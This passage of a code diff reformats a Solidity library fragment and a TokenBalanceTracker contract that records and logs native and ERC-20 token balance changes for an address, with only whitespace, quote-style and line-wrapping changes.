- value /= 10**16;
+ if (value >= 10 ** 16) {
+ value /= 10 ** 16;
result += 16;
}
- if (value >= 10**8) {
- value /= 10**8;
+ if (value >= 10 ** 8) {
+ value /= 10 ** 8;
result += 8;
}
- if (value >= 10**4) {
- value /= 10**4;
+ if (value >= 10 ** 4) {
+ value /= 10 ** 4;
result += 4;
}
- if (value >= 10**2) {
- value /= 10**2;
+ if (value >= 10 ** 2) {
+ value /= 10 ** 2;
result += 2;
}
- if (value >= 10**1) {
+ if (value >= 10 ** 1) {
result += 1;
}
}
@@ -74,7 +76,8 @@ library Strings {
contract TokenBalanceTracker {
using Strings for uint256;
- mapping(address => mapping (address => uint256)) public balanceTracker; // tracks: user => (token => amount).
+ mapping(address => mapping(address => uint256)) public balanceTracker; // tracks: user => (token =>
+ // amount).
address[] public trackedTokens;
// Will look something like this. For simplicity, WETH could be the last token.
@@ -84,7 +87,7 @@ contract TokenBalanceTracker {
// 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC
// 0x86ed939B500E121C0C5f493F399084Db596dAd20, // SPC
// 0x1b40183EFB4Dd766f11bDa7A7c3AD8982e998421, // VSP
- // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 // WETH
+ // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 // WETH
// ];
struct BalanceDeltaReturn {
@@ -94,26 +97,26 @@ contract TokenBalanceTracker {
function addTokensToTracker(address[] memory _tokens) public {
uint256 tokensLength = _tokens.length;
- for(uint256 i = 0; i < tokensLength; i++){
+ for (uint256 i = 0; i < tokensLength; i++) {
addTokenToTracker(_tokens[i]);
}
}
function addTokenToTracker(address _token) public {
uint256 lenTrackedTokens = trackedTokens.length;
- if(lenTrackedTokens == 0){
+ if (lenTrackedTokens == 0) {
trackedTokens.push(_token);
return;
}
bool alreadyTracked;
- for(uint256 i = 0; i < lenTrackedTokens; i++ ){
- if(_token == trackedTokens[i]){
+ for (uint256 i = 0; i < lenTrackedTokens; i++) {
+ if (_token == trackedTokens[i]) {
alreadyTracked = true;
}
}
-
- if(!alreadyTracked){
+
+ if (!alreadyTracked) {
trackedTokens.push(_token);
}
}
@@ -124,80 +127,109 @@ contract TokenBalanceTracker {
}
function logBalances(address _from) public {
- (BalanceDeltaReturn memory nativeTokenDelta, BalanceDeltaReturn[] memory tokensDelta) = calculateBalanceDelta(_from);
+ (BalanceDeltaReturn memory nativeTokenDelta, BalanceDeltaReturn[] memory tokensDelta) =
+ calculateBalanceDelta(_from);
// NATIVE TOKENS HANDLING (12-9)
- if(nativeTokenDelta.value == 0) {
- console.log('Native Tokens: %s', toStringWithDecimals(_from.balance, 18));
+ if (nativeTokenDelta.value == 0) {
+ console.log("Native Tokens: %s", toStringWithDecimals(_from.balance, 18));
} else {
- console.log('Native Tokens: %s (%s%s)', toStringWithDecimals(_from.balance, 18), nativeTokenDelta.sign, toStringWithDecimals(nativeTokenDelta.value, 18));
+ console.log(
+ "Native Tokens: %s (%s%s)",
+ toStringWithDecimals(_from.balance, 18),
+ nativeTokenDelta.sign,
+ toStringWithDecimals(nativeTokenDelta.value, 18)
+ );
}
// Other tokens
uint256 tokensLength = trackedTokens.length;
- if(tokensLength > 0){
- for(uint i = 0; i < tokensLength; i++){
+ if (tokensLength > 0) {
+ for (uint256 i = 0; i < tokensLength; i++) {
IERC20Local curToken = IERC20Local(trackedTokens[i]);
- if(tokensDelta[i].value == 0) {
- console.log('%s: %s', curToken.name(), toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()));
+ if (tokensDelta[i].value == 0) {
+ console.log(
+ "%s: %s",
+ curToken.name(),
+ toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals())
+ );
} else {
- string memory deltaAndSign = string.concat(tokensDelta[i].sign, toStringWithDecimals(tokensDelta[i].value, curToken.decimals()));
- console.log('%s: %s (%s)', curToken.name(), toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()), deltaAndSign);
+ string memory deltaAndSign = string.concat(
+ tokensDelta[i].sign, toStringWithDecimals(tokensDelta[i].value, curToken.decimals())
+ );
+ console.log(
+ "%s: %s (%s)",
+ curToken.name(),
+ toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()),
+ deltaAndSign
+ );
}
}
}
updateBalanceTracker(_from);
- console.log('\n');
+ console.log("\n");
}
- function toStringWithDecimals(uint256 _number, uint8 decimals) internal pure returns(string memory){
- uint256 integerToPrint = _number / (10**decimals);
- uint256 decimalsToPrint = _number - (_number / (10**decimals)) * (10**decimals);
- return string.concat(integerToPrint.toString(), '.', decimalsToPrint.toString());
+ function toStringWithDecimals(uint256 _number, uint8 decimals) internal pure returns (string memory) {
+ uint256 integerToPrint = _number / (10 ** decimals);
+ uint256 decimalsToPrint = _number - (_number / (10 ** decimals)) * (10 ** decimals);
+ return string.concat(integerToPrint.toString(), ".", decimalsToPrint.toString());
}
function updateBalanceTracker(address _user) internal {
balanceTracker[_user][address(0)] = _user.balance;
uint256 tokensLength = trackedTokens.length;
- if(tokensLength == 0) return;
+ if (tokensLength == 0) return;
- for(uint i = 0; i < tokensLength; i++){
+ for (uint256 i = 0; i < tokensLength; i++) {
IERC20Local curToken = IERC20Local(trackedTokens[i]);
balanceTracker[_user][trackedTokens[i]] = curToken.balanceOf(_user);
- }
+ }
}
- function getBalanceTrackers(address _user) public view returns(uint256 nativeBalance, uint256[] memory tokenBalances){
+ function getBalanceTrackers(address _user)
+ public
+ view
+ returns (uint256 nativeBalance, uint256[] memory tokenBalances)
+ {
nativeBalance = balanceTracker[_user][address(0)];
-
+
uint256 tokensLength = trackedTokens.length;
- if(tokensLength > 0) {
+ if (tokensLength > 0) {
uint256[] memory memBalances = new uint256[](tokensLength);
- for(uint i = 0; i < tokensLength; i++){
+ for (uint256 i = 0; i < tokensLength; i++) {
memBalances[i] = balanceTracker[_user][trackedTokens[i]];
- }
- tokenBalances = memBalances;
+ }
+ tokenBalances = memBalances;
}
}
- function calculateBalanceDelta(address _user) internal view returns(BalanceDeltaReturn memory nativeDelta, BalanceDeltaReturn[] memory tokenDeltas){
+ function calculateBalanceDelta(address _user)
+ internal
+ view
+ returns (BalanceDeltaReturn memory nativeDelta, BalanceDeltaReturn[] memory tokenDeltas)
+ {
(uint256 prevNativeBalance, uint256[] memory prevTokenBalance) = getBalanceTrackers(_user);
- nativeDelta.value = _user.balance > prevNativeBalance ? (_user.balance - prevNativeBalance) : (prevNativeBalance - _user.balance);
- nativeDelta.sign = _user.balance > prevNativeBalance ? ('+') : ('-');
+ nativeDelta.value = _user.balance > prevNativeBalance
+ ? (_user.balance - prevNativeBalance)
+ : (prevNativeBalance - _user.balance);
+ nativeDelta.sign = _user.balance > prevNativeBalance ? ("+") : ("-");
uint256 tokensLength = trackedTokens.length;
- if(tokensLength > 0) {
+ if (tokensLength > 0) {
BalanceDeltaReturn[] memory memDeltas = new BalanceDeltaReturn[](tokensLength);
- for(uint i = 0; i < tokensLength; i++){
+ for (uint256 i = 0; i < tokensLength; i++) {
uint256 currentTokenBalance = IERC20Local(trackedTokens[i]).balanceOf(_user);
- memDeltas[i].value = currentTokenBalance > prevTokenBalance[i] ? (currentTokenBalance - prevTokenBalance[i]) : (prevTokenBalance[i] - currentTokenBalance);
- memDeltas[i].sign = currentTokenBalance > prevTokenBalance[i] ? ('+') : ('-');
- }
+ memDeltas[i].value = currentTokenBalance > prevTokenBalance[i]
+ ? (currentTokenBalance - prevTokenBalance[i])
+ : (prevTokenBalance[i] - currentTokenBalance);
+ memDeltas[i].sign = currentTokenBalance > prevTokenBalance[i] ? ("+") : ("-");
+ }
tokenDeltas = memDeltas;
}
}
-}
\ No newline at end of file
+}